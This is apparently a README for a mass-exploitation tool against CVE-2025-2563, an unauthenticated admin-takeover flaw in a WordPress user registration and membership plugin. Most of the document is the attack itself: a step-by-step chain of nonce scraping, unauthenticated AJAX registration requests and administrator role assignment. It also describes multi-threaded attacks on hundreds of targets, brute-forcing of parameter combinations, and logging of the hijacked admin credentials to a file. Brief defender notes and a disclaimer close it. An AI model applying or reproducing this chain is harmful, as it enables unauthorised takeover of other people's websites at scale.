CVE-2025-2563 — User Registration & Membership | Full-Chain Admin Escalation

  ██╗   ██╗███████╗███████╗██████╗       ██████╗ ███████╗ ██████╗ 
  ██║   ██║██╔════╝██╔════╝██╔══██╗     ██╔══██╗██╔════╝██╔════╝ 
  ██║   ██║███████╗█████╗  ██████╔╝     ██████╔╝█████╗  ██║  ███╗
  ██║   ██║╚════██║██╔══╝  ██╔══██╗     ██╔══██╗██╔══╝  ██║   ██║
  ╚██████╔╝███████║███████╗██║  ██║     ██║  ██║███████╗╚██████╔╝
   ╚═════╝ ╚══════╝╚══════╝╚═╝  ╚═╝     ╚═╝  ╚═╝╚══════╝ ╚═════╝ 

CVE-2025-2563 — Unauthenticated Privilege Escalation via User Registration & Membership plugin for WordPress. Full-chain exploit: anonymous registration → membership nonce abuse → administrator role takeover.

Vulnerability Summary

Attack Chain

[1] Crawl target
       ↓
[2] Fetch /membership-pricing/ & /membership-registration/
       ↓
[3] Extract form_id, membership_id, security nonce, ur_frontend_form_nonce
       ↓
[4] POST to /wp-admin/admin-ajax.php
    action=user_registration_user_form_submit
    → Create arbitrary user account (unauthenticated)
       ↓
[5] Abuse membership JS nonce via ur_membership_frontend_localized_data
    → Assign administrator-level membership plan to new account
       ↓
[6] Verify admin access at /wp-admin/users.php & /wp-admin/plugin-install.php
       ↓
[7] Save credentials → NATA_admin.txt

Features

• Mass exploitation — multi-threaded, processes hundreds of targets in parallel
• Smart nonce extraction — scrapes security tokens from 3+ registration endpoints automatically
• Full combo bruteforce — tries all discovered form_id × membership_id × nonce combinations
• Admin verification — confirms actual wp-admin access before marking as success
• Clean output — Rich terminal UI with live status per target
• Auto logging — credentials saved to NATA_admin.txt, registrations to reg.txt

Requirements

pip install requests rich

Usage

# 1. Add targets to list.txt (one URL per line)
# 2. Run
python CVE-2025-2563.py

Input: list.txt

https://target1.com
https://target2.com
https://target3.com

Output: NATA_admin.txt

[2025-04-20 08:00:00] https://target.com/wp-login.php user:natxploit_abc pass:NATA_adminSA

Output Files

Detection (Defender Notes)

Monitor for:

• Repeated POST to /wp-admin/admin-ajax.php with action=user_registration_user_form_submit
• Sudden new users with administrator role from untrusted registration
• Requests to /membership-registration/ followed immediately by AJAX membership assignment

Patch: Update User Registration & Membership plugin to version >= 4.1.2

Disclaimer

This tool is released for authorized penetration testing and security research only. The author holds no responsibility for misuse. Always obtain explicit written permission before testing.

Author

Natan Utama — github.com/dokter69 | Telegram: @ayasyanaro